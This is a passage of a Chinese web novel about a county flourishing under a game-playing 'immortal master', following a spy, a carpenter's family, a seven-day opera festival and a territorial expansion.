等这环节完事后,仇离给众人仔细演示日后他们要学的《青梧引》。 “修炼此法,可让我等寿元直逼二百岁,且修炼更为迅速,更能精密控制我等身体内的灵气,对于日常制作符咒,丹药来说,灵气也会变得更为耐用” 光是说还不够,仇离演示一番。 先前刚听到《青梧引》的逆天功效后,众弟子难免心中震撼,但更多的情绪是不相信。 ——自家突然就有了这么厉害的老祖宗,而且这术法是不是强得太变态了? 完全不符合常理,完全不像是自家能拿出来的好东西啊! 但等看到仇离的演示后,众人不免呼吸急促。 这不是假的,这的确是真的! 仇离虽说作为宫内天赋一等一的弟子,但他们也不差,素日里没少和对方切磋,他实力提升得太快,完全不像是继续修炼旧法会有的效率。 排除下来,只能是新法的作用了。 意识到这新法会带来的巨大改变,众弟子不再废话,而是各个盘腿修炼,等到真正修炼上了这《青梧引》后,众人难免瞪大眼睛,面露不敢置信。 一旦用上这术法,便能很明显察觉到原先体内阻塞的经脉打开,灵气正缓缓遍布全身,浑身上下每条微小的经络都正在被滋养。 除了这点,他们惊奇的发现,确实如同仇离所说,自己对灵气的精密控制更为提升了几分。 一时间,众弟子练得颇为上瘾。 等到今日修炼被叫停后,不免各个惊诧,倒是不理解为何宫内有这等好功法,却不肯早点拿出来。 对于这点,仇哀长老也头疼。 他总不能说是因为最近自家抱上了金大腿吧?那太没面子了。 只能暗含警告开口:“你以为这术法很安全?若是不到时候使用,不仅仅不会拥有诸多好处,反而会让过分充沛的灵气在体内暴走,最后爆体而亡,所以这才是先前宫内要求你们好好修炼基础,又让你们考试的缘故。” 别说,仇哀长老的这番话一说出来,顿时唬了不少人。 众弟子蹙眉微微思索——好吧,这话确实没错。 眼下各个沉迷于新术法的修炼,倒也顾不得琢磨这些。 看到自己成功阻止他们继续问下去后,仇哀不免抹了把冷汗,而后又将日后要为老祖宗效力的事掰碎了给他们听。 众人虽说不甚理解,但等听到说老祖宗庇护着此地,让此地百姓能够逃脱战乱,好好生活时,众人难免沉默。 ——他们不是傻瓜,原先虽说宫内提倡出世,但他们都知道,那是被逼迫的,毕竟靠着他们小小的永道宫,确实无法改变这个世道,但眼下听到仇哀长老的话语,众弟子却不自觉从胸腔内滋生出一抹奇特的感悟。 这般困难的事,老祖宗竟然在做。 他们作为永道宫弟子,又有何理由不助老祖宗一把? 眼看士气鼓舞不错,仇哀擦了擦额头的汗水,心想自己总算搞定这破事。 ——该圆的都圆了回来,还顺理成章地让弟子们日后确定给仙师效力,不容易啊 等修炼一番后,期间众弟子难免下山去风仙县看看老祖宗旗下的领地,而后便是惊叹万分。 不过有一人倒是冷冷地盯着他们离去的背影。 此人全身上下只留一双凌厉的眉眼,布满刀疤的手死死捏紧,心中已然惊涛骇浪。 ——这潜灵山不对劲,他盯得很紧,这群人在很短的时间内身体素质有了很快的提升,那绝非是靠着锻炼得来的,这山头有秘密,且还是大秘密。 为何不上山,则是因为他的第六感告诉自己,若是上山很可能会遭遇某种不测,索性在山下蹲守。 但眼下的情报,足够了。 怀里的那张任务纸还在发烫,他不免想到了景旭宫答应要提供的内门弟子职位。 ——想必景旭宫很乐意为风仙县内部情报付出代价,尤其是这山上的秘密。 第186章 高木匠 此人名为刀无痕。 以往就是靠着一柄刀。 至于符咒他也买了一些,但大部分时候都不太用。 不过因为他刀法确实厉害,在外门弟子中也是颇有名气。 先前为了探查风仙县不少外门弟子失去消息,不少人纷纷猜测那颇为有名的刀无痕是不是也遭遇了此等不测,但时间一长,倒是也很少有人再继续观察此事,毕竟在景旭宫谁都没有那些闲工夫去考虑别人,各个只想着如何在这残酷的竞争中让自己赢下去才是真理。 只有说内门弟子会因为共同利益,或者更大的利益稍微互相表现得尊师友爱,但他们作为外门弟子这种没什么情分在,还全是竞争关系,哪有什么真心实意的担忧,全都是拼尽全力的尔虞我诈。 在景旭宫外门弟子内,没有免费流通的消息。 众所周知,一切消息都需要钱才能买得到,要么便是交换。 刀无痕早就了解景旭宫的底色,但是无所谓,他所求的不过是加入景旭宫内门,去学习那了不得术法而已。 为了此目标,他努力做任务许久,可算是遇到了一单大单。 先前那个负责跟踪永道宫的任务,他此行回去可以圆满交接了,毕竟这样的程度,已经算是比较详尽的情报了。 要是具体想探查到那些人修炼了什么,那种事就不在他的能力范围内了,且这事他们也知道,所以会派更为高级的宫内长老前去。 既然已经了解了此事,刀无痕便立即动身出城。 之所以他能够悄无声息的进城则是因为他从小自带一个天赋技能,那便是感知福祸。 也就是第六感很强。 先前他来到风仙县时,本想伪装一番进城,但第六感却让他停下脚步。 ——那感觉告诉他,若是这般进城,定有危险。 等到他将身上的符咒扔下后,那股危险的第六感这才消失。 刀无痕不免思索——这风仙县内不允许携带符咒?不然便会被检测到入侵? 心中思索,但事实上,此刻刀无痕正迅速奔向城外。 他先前将符纸藏在风仙县城门口五公里处的一处破庙内的破罐子内,眼下他应当能够来得及去捡走符纸。 好在出城需要做的检查很快,几乎没耗费多少力气,刀无痕便来到了城外。 至于他埋藏着符纸的那地方,正是他的必经之地,这会直奔而去。 等到到了地方,看到那陶罐早就被人翻找出来后,这会不免心生戾气。 ——是谁?谁动了他的符纸?若是让他知晓,必定要将此人抽筋挖骨,剁了那不干净的手才是。 扫视破庙,倒是没看到任何可疑人员,刀无痕心中愤怒,但眼下回城禀告交还任务才是正经事,这会直奔景旭宫而去。 他来的时候骑着马,这会等到了地方后,吹了口哨,立马就有一头骏马直奔他而来。 刀无痕骑上马匹,直奔景旭宫。 虽说马匹速度也快,但总归是不如贴了加速符的马匹快,再一次暗自咒骂那偷窃他符咒之人后,刀无痕让自己心平气和下来。 风仙县。 先前里正总算找到了那书中所画的改良农机,自然将它上交到了方知意手中。 而看清楚这改良农机所需要的材料竟然如此简单易行后,她自然是立即召集工匠们开始制作这改良农机。 毕竟现在做的话,等到春天就有足够多的改良农机能够投入播种,而春季播种又会影响着一年的收成。 自方知意下达命令后,官府的木匠纷纷忙碌起来。 素日的话,官府特招木匠的工钱模式一般是基本工资外加上每次做工具的提成。 其实最近的话,县木匠们的活计不多,毕竟多日寒冷,大部分人都在家中待着,无论是哪方面,对木匠的要求都不高。 高木匠便是如此。 自他作为官府特招的木匠后,倒是轻松不少,毕竟在官府上班不用担心没有活计全家人饿肚子,且就算是没什么活计的淡季,官府内也能保障他们能够养得起家。 不过养家是养家,但最近他家闺女已经相看好了人家,还差两个月便要成亲。 他眼下着急想给女儿多攒一些陪嫁钱,好让女儿日后不愁。 高木匠此人早些年间倒是还学过一些字,所以思想还算较为开明,再加上风仙县最近的频频大动作,无论是报社,亦或是学堂,扫盲班,各种方式的熏陶,让他对婚嫁一事更为开明。 且再加上他家中只有一个女儿,自然要将女儿这婚事办得光彩。 ——至于这婚嫁的人家,高木匠挑选了许久,最终结合女儿的心意,替她选了一家良人。 两人都在本县工厂内上班,起码工资和福利都有,且他家闺女亲自问过那小子了,对方声称婚后家中消费他负责,女儿的银两即可用来自行处理,且高木匠特别提出,自家并非是将女儿嫁给他家,而是他们两个单独创建出一个新的家庭。 且最为重要的是,高木匠绝对不认可自家闺女嫁过去就默认成了对方家的人,自然要求小两口独立居住,且日后对方双方父母的孝敬要一致。 这要求初听觉得甚是新奇,毕竟头一次听人这般说。 原先高木匠就是按照这般要求去找合适的人家,倒是一直没能给闺女找到合适的。倒是不免有人劝他放低目标。 “老高,你这要求太高了,谁家闺女嫁过去了不得跟着人家过活?你这要求挺挑剔,除非是选择赘婿啊。” 高木匠不依,他觉得自家闺女足够优秀,何苦找那等不合格的男人拖累她? 他从小到大就将女儿护得好好的,别说现在能赚钱了,就算是原先饿肚子那会,家中最稠的那碗先是妻子的,而后便是女儿的,最后才是自己的。 有时候被这些人气急了,高木匠也会怒骂他们迂腐。 高娘子会细心地替他擦汗,又开口劝慰:“何故如此,若是没有合适的,多留女儿几年又如何?再说,我们也问过女儿,她的要求都不曾降低,我等为人父母,如何能擅自更改女儿的决定?即便她日后不嫁人,大不了你我多攒些银钱留给女儿。” 高娘子说话温柔细雨,她倒也厉害,在本县纺织厂工作,——毕竟她并非本地人,而属于南方那边过来的织女。 在逃荒时来到了本地,倒是意外和高木匠看对眼,两人便成了亲,从此落户在此地。 高娘子也是读过书的人,思想开明,两人这才看对了眼,日后夫妻多年,几乎从未红过脸。 高木匠叹气:“我晓得,就是这群人实在是气人得很。” 倒也稀奇,在他气恼了没一个月,倒是还真有了这么一个合适男人出现。 多方面考证后,高木匠得出结论,此人可嫁。 等询问女儿,女儿也同意了。 很快双方定下婚期,便开始各自准备。 高娘子忙着去布料店给女儿买红布,——她作为纺织厂员工,倒是最为明白最近的布料市场。 尤其是最近的红布改善很大,相比于原先固色更为结实,且最重要的是,价格却比原来更便宜了。 听厂子内的同事说,这是因为本县属于仙师旗下领地的缘故,根据那消息最为灵通之人所说,这红布若是售卖到外面,价格要比本县高一倍。 眼看着店老板给她裁剪红布,高娘子难免心中满足。 她是织女最能了解这布料价格一直以来到底有多□□。 毕竟无论何时,人都需要穿衣,且棉花产量低,织布本就困难,效率不高,染料价格也贵,这才造成了布料价格居高不下。 但目前因为本县采用了八锭纺织法,织布效率提升数倍,且听原料库的同事说,那等高产量棉花也在开春预备种植,想来日后布料价格会稳固在一个较为低廉的价格。 高娘子心头微微震撼,而后便是庆幸活在此地,不然如何能有工作,如何能活得这般肆意幸福? 先前的县令掌管风仙县时,她倒是不曾觉得日子好过,但现在不一样,高娘子从心底生出一股对未来的信心,一种无法抑制的对未来的盼头。 毕竟在这里,像她这样普通的人,一个普通妇人,都能靠着自己的双手,脚踏实地的获取尊严,获取幸福,那还要求什么? 高娘子从未觉得自己是贪心之人,等到将布料买足,而后又采买一番,这才回了家,而这回家的第一件事便是对着屋内的仙师雕塑跪拜。 虽说仙师曾亲口宣令不许建设雕像,但架不住众人主动想买。 这雕刻便是高娘子买来的,雕得还算是精细。 给仙师贡香后,高娘子这才拧开沼气炉子去做饭。 一旁高木匠正给她添把手。 和往年的湿冷不同,沼气取暖让屋内的空气干燥而又温暖,炕上是高小娘子眯着眼睛打盹——今日她所在的厂子休息,眼下正没什么事,本想帮着高娘子做饭,却被父母赶着上炕休息。 炕上被沼气烘得暖呼呼,高小娘子贴着枕头,在猪肉炖豆腐粉条的逐渐浓厚的香气下入睡。 饭菜离做好还有一会,眼看等着吃饭,官府同事倒是来了。 高木匠赶紧出去迎对方,就见对方裹着先前县令大人下令低价售卖的棉衣,身上沾染了雪花,睫毛也落上了一层雪霜。 出去时,高木匠甚至哆嗦了一番。 ——屋内温度实在是惬意,倒让他忘记了这屋外可是正下着雪呢。 且看这雪下得可不小。 这会忙将同事迎进屋内,对方摆手拒绝。 “不进去了,老高,我还忙着通知休假的人,你吃完饭赶紧回去干活,县令大人弄来了一批木料,要让我们赶制新农机。” 高木匠顿时愣住,追问:“新农机?” 对方点头:“具体的说不清楚,反正数量要得还很多,好好干,说不定这两个月还真能给你闺女攒不少钱。” 这话说得高木匠的心熨帖极了,这会谢了又谢,将对方送走,直奔屋内。 高娘子正给饭菜分好,喊醒了女儿吃饭,看着高木匠一脸喜气洋洋倒是猜测到了几分。 “一会要去做活?” 高木匠边吃饭边点头。 “是,老周特意来通知我的,说是做农机,想来应当是为了开春准备的,这两个月我好好干,给咱家闺女多攒点钱。” 顾不得和妻女多说话,高木匠吃完饭后穿好衣服,直奔工作地点。 一进门,浑身的凉意顿时被屋内的暖气吹走了几分。 被风吹得通红的脸颊慢慢缓了过来,这会便看到屋内多了不少同事。 密密麻麻,看样子这是把人全给叫回来了。 等了没一刻钟,老周便大概讲解一番新农机,等确定众人都看懂如何制作后,这才让众人开始忙活。 高木匠看清楚这新农机设计后难免惊诧——不简单,虽说做起来不麻烦,身子可以说是简单,但能想到这么做的,绝对是天才。 思来想去,高木匠觉得这等神迹要么是县令大人弄来的,要么便是仙师给的,总之这不是普通人能想到的改进方式。 不过他不用操心那么多,毕竟他的任务是制作。 等到忙碌一天,高木匠身体疲惫,眼睛却亮了。 ——今日他只做了半天活,但提成收入便有三百文。 若是明日全天工作的话,不得单是提成就能日收六百文?再加上底薪,这两个月或许他真能赚不少。 想来也是运气到了,不然以往哪有这么多农机需要他们制作? 得抓住这机会好好干,好好赚钱才是,毕竟他清楚,冬天不好赚钱。 而其余人想的也是如此——算下来,收入竟然这般高,若是日日如此多好? 但忙活一天,浑身酸痛,众人不免又开怀——算了,天天如此也不行,总会累瘫,不如时不时有点好活计,劳逸结合最好。 孙府。 孙凝羽照例给母亲塞进去一张今日新出的报纸,还是从原先那窗户塞了进去。 这些日子,她注意到,母亲的抗拒没有原先那般强烈了。 原先时,她甚至不敢让母亲知道是她,但如今,她站在屋外,母亲只是默默拿走报纸。 今日照例如此。 等看着屋内传来翻阅报纸的声音后,孙凝羽不免心头微动,她转身欲走,却听屋内传来一阵啜泣声。 第187章 七日大戏 起初,孙凝羽觉得是自己听错了。 再细细听的话,察觉屋内的声音更是清晰了几分。 ——混合着压抑的哭泣。 孙凝羽不敢细想是不是母亲,她今日便要送孙父上路,眼下自然不愿意任何事阻碍了这最重要的事。 先前她一直是控制着孙父,但最近眼看本县情况好转许多,完全不需要孙父,且最近隐约孙父有逐渐控制不住的趋势,她这才决定提前下手。 所以今日母亲的啜泣,她难免怀疑是那所谓的夫妻之间的链接? 因知晓孙父即将死去,所以才会这般? 虽说也不是不可能是母亲因为报纸而悔改的缘故,但事已到达最关键时候,她绝不会去赌概率。 “给母亲送过去吃食,调理身体的药记得送过去。” 嘱咐一声后,孙凝羽转身离去。 ——等等吧,等她彻底处理完这些烂摊子,再去分辨母亲的眼泪是为了谁。 而与此同时,受黎州布料市场的影响,风仙县特意开辟了制作染料的染料厂,以及生产染坊染布工具的器械厂。 需要建造工厂便需要建筑队,原先本觉得冬日没什么活计的人,自然是各个积极想过来参与,毕竟风仙县的每一个工作绝对是能保证获得合理工钱的,且不怕被拖欠工钱。 很快,风仙县边缘,建筑队正在加班加点的干活。而与此同时,招人,培训,甚至原料购入,后续出售途径这些复杂的活计全都由各项人精准运行。 而那李思则是已然将先前黎州确定要加盟的名单,以及所要染料,工具数量全都飞鸽传书过来,由赵金构负责此事。 除却这些大事外,风仙县另还有一件事值得众人欢庆。 ——眼看快过年了,年前时,先前被派出去的戏班子纷纷回来,这会全被赵金构叫过去,让他们负责给本县唱个七天,好让众人娱乐一番。 这十余支戏班子是陆陆续续回来的,其中,倒以那惯会偷懒的李家和孙家最先回来。 先前时,赵金构虽说对戏班子表面上处于完全放养状态,但实际上,自然是有专人负责定点看着众人,亲眼记录着在每一个节点众戏班是否足够认真负责。 这记录下来的话,不难看出来这两家戏班子最为恶劣。 眼看众戏班子陆陆续续回来后,赵金构倒是将众人先汇聚一堂,而后先说了决定让他们互相配合着唱个七天,各个登台表演一下自家绝活,好让风仙县百姓看个痛快。 至于钱的话,自然是官府负责。 听闻这消息,戏班子人人带笑。 ——好事啊,一路走来,他们早就知道县内现在到底是吸纳了多少流民,且这些流民一旦联通起来,那绝对还能吸引更多流民前来本县。 人多,且本县百姓各个手里头攥着钱,想来无论是打赏,亦或是想宣传一下本戏班这都是好机会啊! 一时间,众人难免脸上挂笑,而赵金构则是不动声色扫过台下,勾唇道:“不过在那之前,赵某先给诸位将先前的款结了再说。” 其实今日来,众戏班主要目的肯定还是要尾款,毕竟这可是关系着全团人的工钱呢,原先还想着怎么开口引入这话题,倒是没想到赵金构竟会主动提起。 客套一番后,便看赵金构拿出一本册子,而后命人念着每个戏班所得工钱,大致上相差不多,直到听到念到那偷懒的两个戏班子时,工钱一下降低了数倍。 一时间众人难免以为是自己听错了,而那李家戏班和孙家戏班则是瞪大眼睛,各个露出讨好笑容凑上去问。 “这是不是记错了?我等和诸位一样,也出去忙活了许久,怎地工钱和他们差了许多?”这是李家戏班。 而孙家戏班附和了两句,心里倒是有些打鼓——什么鬼,难道是他们偷懒被发现了?但是不可能吧,他自觉做得十分隐蔽,且也不曾发现这赵金构派人跟着自己一行人,他如何能发现的? 思来想去,倒是想不明白,眼下只能假装委屈,跟着李家戏班喊冤。 赵金构露出疑惑,然后走过去,捏起记录的笔记,慢悠悠翻开记录让两人看。 “二位别急,让赵某看看,找到了。 这上面写的清楚,你二人的戏班在周县,枉县,等诸多县域并未唱戏,两位班主可有什么要解释的?” 赵金构虽说还在笑,但眼底却是划过一抹冰冷。 两人在看到那密密麻麻的关于各个戏班子在各个地点的表现批注后,这会头皮发麻。 ——什么玩意,竟然还真有人看着他们? 且更为离谱的是,这人标注的评论是真的过分。 什么叫李家戏班今日又旷工?说胡话,他们好歹搭了台子,上去唱了几嗓子! 还说看来看去,就他们李家戏班唱得最看不过去,怪不得要偷懒,是不是因为没有人给打赏没有动力? 李家戏班:???不是,这说的是人话? 孙家戏班看着那评论也是嘴角直抽搐。 ——哦呵,又来了一个偷懒的对比别家,唱得也确实一般,也就李家戏班倒数第一,孙家戏班倒数第二吧? 孙家戏班:谁写的,好欠的人,有种总感觉被侮辱了,但是又心情复杂的感觉 原本没拿到约定的钱就足够让人郁闷了,毕竟这一趟走下来,他们戏班子算上路费,住宿费,吃饭费,陆陆续续花了不少,若是按照原先正常给付的话,肯定是值得的,但现在拿到的这点钱,不仅仅白干,且算了一下,竟隐约赔了! 一时间,两家戏班子均是接受不能,但看着赵金构那带着笑,却略带冰冷的眼神,两人均是不敢真去闹事。 周围同行还在闹腾。 “你们两人算是坏了这一行的规矩,答应了人,为何要做这等偷巧的事来?” “日后莫要和我等为伍!” “什么都不说了,把昨日我们戏班免费借你的戏袍还回来!日后莫要找我。” 二人就算是再多不满,在这会脸也红得和烧一样。 几乎是拿了钱就跑。 至于赵金构则是看着二人离开的背影没什么表情。 这意外倒是让其余人知晓了赵金构此人的手段是有多谨慎,本以为他不曾看管他们,谁料想他竟然派专人负责在各个站点监督记录? 一时间,众人难免在心中不住后怕——还好当日没想着偷懒,当时也有些犹豫,但终究是过不了良心,现在看来,反而是幸运? 话说,赵金构此人也足够狠心了。 不会说当场就敲打人,而是等着回来一并算账,也不说狠话,但偏偏用最难受的方式让那二人憋屈又无理。 欢喜的偷懒,回来本以为要拿到约定的工钱,甚至路途还额外大手大脚消费一番,结果回来告诉他们因为不遵守约定,所以没有。 刚才他们已经替那两人算了一番,这行程下来,十有八九还亏了点。 对于此等人来说,绝对是一种打击。 但也算是自找苦吃 ,毕竟以赵金构目前在本县的号召力,想修理他们绝对很容易。 原先看着他年纪不大,好忽悠,但眼下谁还敢说这话,这会各个不敢开口。 赵金构看了眼众人,倒是懒得开口,他杀鸡儆猴的目的已经达到,这会只是让众人自行商量出表演节目单以及各个戏班子的上台时间,自己则是将此事汇报给方大人。 话说建议让戏班子联合唱戏的人便是方大人。 赵金构琢磨片刻,倒也迅速理解——方大人特殊的鼓励百姓方式而已,连续七天的唱戏,不仅仅是炫耀本县实力,更是给百姓吃一颗定心丸,毕竟要知道原先不曾是仙师旗下时,本县每年只有一天官府会请戏班子唱戏,且只请一家戏班,唱的都是老掉牙的曲目,时间也短。 等到将此事汇报上去,很快,在官府人员的帮扶,报社的宣传下,全县人都知晓了本县即将要唱七天大戏! 且还是多个戏班子联合表演! 这可谓是极少有的事! 原先只有那等有钱人家才会时不时请一些戏班子去自家唱戏听,但若是论排场,自然不如这即将开唱的联合大戏。 而且那报社写得清楚,将上台唱戏的戏班子介绍得明明白白,一打眼望过去,倒还都是唱得非常不错的那一波。 除了介绍七日联合大戏的戏班子外,报纸上还出了一份七日唱戏的节目表,具体写了哪个戏班要唱什么戏曲。 报社。 今日的报纸卖得格外快。 原先到中午才会售卖完毕,但今日刚开售一个时辰,全部卖空。 买到报纸的各个喜气洋洋,这会正举着报纸念着拼音,试图看清楚这七日联合戏曲都唱些什么戏,毕竟这对他们来说,听戏可是难得的大事! 原先只有过年时才给唱一天,虽说曲目听了许多遍,但是架不住他们只有这一个娱乐方式。 记得当初那一日,也是挤得满满当当,不知道这七天大戏,这得挤成什么样? 没买到的报纸的暗叹一声,凑到买到的人身旁,听他们读着,脑内不由自主描绘出那些个戏班子唱戏的模样和神态,一时间倒是心潮澎湃。 而与此同时,说书馆这几日还会抽空讲解一番那节目单上的戏曲到底为何,又介绍了各个戏班子的出名曲目。 李归一,仇朗,仇离三人静坐在茶楼,这会正听着那说出人唾沫横飞,面红耳赤的讲着这戏曲。 第188章 任命 李归一还好,毕竟经常在外面游历,时间一长,什么戏曲都听过,这会倒是面容淡定,还有心思慢慢琢磨说书人讲的内容,不自觉在脑内慢慢比对不同点。 而仇朗,仇离二人则是略带好奇听着,等听了一个又一个后,这会倒是脸庞露出好奇和思索。 “听着要比想象中有趣一些,等到那七日唱戏时,我和师兄也过去看看。” “师弟所言极是,我也是这么想的,师叔呢?” 李归一有些犹豫。 这七日戏曲肯定很热闹,但估计人很多啊再加上这些戏曲他都看过,倒是一时半会有些犹豫,此刻,那说书人又讲了新的戏曲,大概内容是讲仙人的。 李归一略有好奇,等大概听完了内容,又听了几个他不曾看过的戏曲,倒是下定决心去看看。 “一起去看看?里面有几个我不曾听过。” 三人本想静静喝茶,但实在是架不住茶馆内前来听书的人越来越多,直到连下脚的地方都不曾有。 到最后,实在是呆不下,狼狈离开,回头看时,那茶馆内的众人倒是不嫌挤得慌,各个抬头,一脸兴奋地看着说书人开口讲书,聚精会神,偶尔还会小心翼翼地和同伴低语几句。 说书人眼看围观人越来越多,此刻倒是讲得更激动。 等到三人离开茶馆,被外面的寒风吹得瑟缩,眼看那不远处的戏台子正在搭建,倒是颇有些好奇之后的七日戏曲。 而作为风仙县的普通百姓,更是各个激动。 从报纸一发行得到此消息后,现在众人一见面谈论的便是那七日戏曲,除却单纯看戏的民众,最为忙碌的也是商户们,正准备趁着七日戏曲售卖一些素日的小巧玩意,亦或是美食什么的。 戏台附近区域很快被规划为摆摊区,租卖摊位正在进行中,当然,为了照顾银两不充足的人,官府允许个体挎着篮子小批量售卖,但要求是不允许破坏现场秩序。 风仙县积极筹备七日戏曲时,倒有不少流民彻底选择在风仙县安居,毕竟无论从哪一方面来看,此县绝对比原先他们所待着的每一个地方都要好。 刘三牛总算是攒够了钱,也正是因为冬日不好继续上工,便选择早早入学,去学堂上课。 他去的时候并非学堂统一招生时间,但好在是他通过了单独测试,意识到他能跟上进度后,学堂倒是将他安排了进去。 话说刘三牛此人倒还真是个学习的好苗子,当日他从扫盲班时便颇显天赋,如今在学堂也是如此。 不说大话,刘三牛觉得自己能应付得来这些知识,譬如本该学习一年的东西,他有信心缩短一半时间。 他身旁的人倒是不理解他——好好的工作不做,不知道为何去学堂折腾? 但总归这事轮不到自己管,这事反而不再继续谈论,倒是偶有人提起刘三牛在哪上工时,知道的人便会偷偷内涵他几句,引来众人一阵轻笑。 潜灵山。 祝应来了此地空闲已有半个月,但仙人依旧不找她,想来是仙师有更为重要的事等着处理。 祝应垂眼继续看着手心的书籍,心中倒是一片太平。 而此刻,姜定则是惊呼一声,眉头紧蹙。 “我靠,忙着种田完全忘了金卡人物了!” 这会懊恼不已,连忙点开雇佣界面,等看清楚祝应处于“可用”状态后,他倒是意外的对祝应去向有些迷茫。 ——话说,太全能了也不太好,不能对症下药,这会他反而不知道要将对方派遣到什么地方去? 思索之际,游戏倒是主动提醒他。 【检测到你旗下人口数量拥挤,是时候开辟新的领土了。】 姜定:? 等等——很合理,他可以使唤金卡人物负责做这事啊,毕竟金卡人物不能闲着,都得给他起来干活! 等到选用派遣人物时,姜定自然毫不犹豫地选择了祝应。 等到游戏提醒显示出【正在加载中已确定人选】,画面很快定格在金卡人物所在的CG画面上。 姜定倒是不免想到了这金卡人物悲情的背景。 而此刻,祝应正缓缓思索之际,便被传话的人引到了仙人屋前的那片竹林。 看来是仙师终于忙完大事,要见自己了。 祝应内心淡定,快步跟上前面之人,很快便来到了目的地。 仙师住所依旧简朴,但门前竹林却依旧一片青翠,哪怕如今正值冬日。 这会她正寻找仙师在哪,却看到那住所上方飘荡出一抹熟悉的淡青色。 ——看来仙师在屋后。 她停下脚步,等听清楚仙师所托付任务后,倒难免心头一震。 仙师果然打算向外扩张。 她早就知晓这事仙师必定会去做此事,一番思索,倒是觉得眼下确实是最好的时候,毕竟若是按照风仙县吸收流民的速度,若是开拓新领地没跟上,很容易导致人口流失,本县拥挤,百姓满意度下降,恶性事件增多。 祝应先前早就想好要替仙师效力,这会自然应下。 等听到仙师将她命令为总负责人,负责掌管除了风仙县其余县域的管理分配,她倒是觉得这感觉有些奇特。 这对任何来说,绝对是一门了不得的美差。 毕竟有权利,说让谁上任便是谁,倒是没想到仙师会将此重要任务托付给自己。 想到原先她在黎州虽有天才之名,官位也高,但不过是虚有其名,不曾有实际权利。 两番对比,祝应自然更喜欢第一种。 即便过了这么多年,她那颗想要为这世道做些什么的心还在跳动,没有年少时跳得那般剧烈,却更平稳。 至于可用之人,仙师特别指出,可以调动任何人前去帮忙,前期人才不够时,一可以去百才堂,二则是要求方知意配合。 被仙师委任此命令后,祝应自然打算下山联络方知意,但不曾想,仙师竟早将此事告知各个最为核心人员。 在百才堂挑了一些可用之人,祝应和方知意喝了一杯茶,二人细细商谈,按照商贸,种植,矿产先后顺序,排列了周围县域的重建顺序,而后祝应这才带着一众人赶往最近的玉县进行最基础,必要的重建工作。 且日后流民可以直接引荐到玉县,这样既可缓解逐渐拥堵的风仙县,亦可不浪费流民劳动力。 玉县此县土地肥沃,原先时此县域负责种植粮食,算作粮仓,不过眼下因为战乱,哪还有人敢待着老实种地。 但既然有仙师作为后盾,那这粮仓必须重建——且在暂且没有工厂的情况下,靠着种田,也足够养活流民们,且还能保障食物,可谓是一举两得。 祝应带着一众人马小心前进,好在是没遇到什么敌人,她潜心观察土地荒废度,倒是意外发现开垦起来的难度并不大。 又查看一番本县的混乱程度,很快做出计划——先修理城墙,而后负责修建最为重要的官府管理区域,再然后便可以引入流民同步整改了。 将任务分配下去,指定一个足以管理全局的代理人后,祝应没停,继续赶往下一个县域,再次针对现状,提出整改意见,以求最快的盘活一个县域的经济。 祝应初步方案自然是优先发展有资源的,无论是矿产亦或是土地资源,这样的投入少,回馈高。 其次才是作为商贸必须发展的县域。 这种商贸定位的县域自然适合设置工厂,既然流民数量增加,起码要增设器械厂,多多制作农具。 流民一多,疾病便需要防范,对药物的需求量增加,需要开设药厂 想到药厂,祝应倒是想到了那等神物青霉素。 先前重现青霉素此等神物的方大夫研究出一种可稳定保存青霉素的方法,可将药厂设定在此县域,且除了制作青霉素外,还可以负责炮制多类中药材。 除了药物外,人口一旦涌入,衣食住行各个方面都会被盘活,祝应倒是对日后发展很有信心,无论什么时候,有人口才有未来。 当然,当初商定发展顺序时,她们挑选的暂时都是没有强大敌人驻扎的县域,——并非说害怕对敌,而是前期发展尽量低调,等中期时,再以包围之势,去收拾那些难啃的骨头。 祝应还算能应付过来,毕竟她没有空闲时间去盯着细节,只能说先把握大致方向,然后指派可靠的负责人带领官员们继续干下去。 而于此同时,七日联合戏曲总算宣告开始。 当日戏曲开场前,有数个舞狮人在本县走街串巷的表演,热热场子。 这舞狮人自然也是官府征召过来的,不少人听到舞狮的动静,忙跑过去看热闹,等到稚童拍手叫好时,眼看那舞狮队走远,众人能空闲的均空了手头活计,前去看戏。 别说,人是真不少,但好在当初选取搭建位置时,官府特意将位置选在了宽敞地方,且设计得巧妙,让众人均能看到那戏台子中央,不至于被挡了视线。 其实便是日后类似于体育馆的设计,不过倒不是从书中看来的,而是大炎朝本身就有此等设计。 选择位置时,必须要让戏台子位于地处,这才能形成包围之态。 且官府还特意用了刷了油的木材做了凳子,又加固了,让前去看的人都能坐着去看,一时间倒是惹得不少百姓稀罕不已。 原先哪有这待遇,能有戏曲看就不错了,还想坐着?简直痴人说梦! 第189章 住宿 风仙县唱七日大戏,这件事不可谓不让本县民众震撼。 除却本县百姓外,流民们,以及在各个村落的百姓们则是少有的天天带着家人孩子进城,为的就是看戏。 一时间,风仙县内无论是住宿,吃饭,亦或是来往通行的马车,各个陷入忙碌状态,不说本县住宿全满,竟还有人出租自家屋子作为让人暂时落脚的地方休息,给些银两就行。 好在是价格不贵,再加上如今本县几乎全部覆盖沼气,取暖统一供给,所以倒是不用操心会冷。 也有不愿意住的,或者是觉得人少住宿不合算的,一番合计下来,决定还是天天跟着马车回去。 倒是百姓都舍得花钱——毕竟以往日日赚钱,这唱戏只有七日,左右不过花费几日工钱而已,但是若是没去看,日后他定要日日夜夜后悔了,且在村里,你若是不去看戏曲,日后别人聊起来时,自然是没什么话题可加入的。 再加上确实对日后日子很有盼头,百姓们只觉得日后自己还能赚钱,这会自然愿意消费,而不是盲目攒钱。 抱有这心态的人属实是不少,这会临出发前,各个精神抖擞,带着自家孩子老婆,欢天喜地地去看唱戏。 来往马车几乎连成一串的在风仙县和各处之间相连,里正也坐了马车,带着自家孙子孙女去看戏。 冬日他又没什么事,这连续七日唱戏可不能错过了。 马车晃晃悠悠的,车内的孩子各个好奇,还和对面坐着的小孩打招呼,同龄人,倒是很快便玩闹在一起,里正和对方聊了几句,这会掀开帘子,看着马车外的情况。 等看清楚外面连绵不绝的马车后,倒是不由地微愣。 ——人这么多?这县内还能有地方看? 一时间,脑内闪过不少先前看戏时的闹心经历,一时间心生退意,但来都来了,再看看这几个孩子这么高兴,他索性咬咬牙决定去看看,等到要是实在看不上,大不了带着孙女孙子去买点东西回家算了。 已经做好了最差的心理准备,但等看到那唱戏的位置时,倒是难免震撼——比想象中大很多,且这排列方式十分有趣,可以容纳更多人,且不会阻碍视线。 他们来得已经算晚的了,毕竟风仙县内的百姓来得最早,占据了最前排。 等到戏曲真正开始时,里正顿觉他先前的担忧都白操心了。 可能是地势选择合适的缘故,位于正中央的戏台子的声音可传递到每一处,且字字清晰。 近的和在眼前唱戏一样。 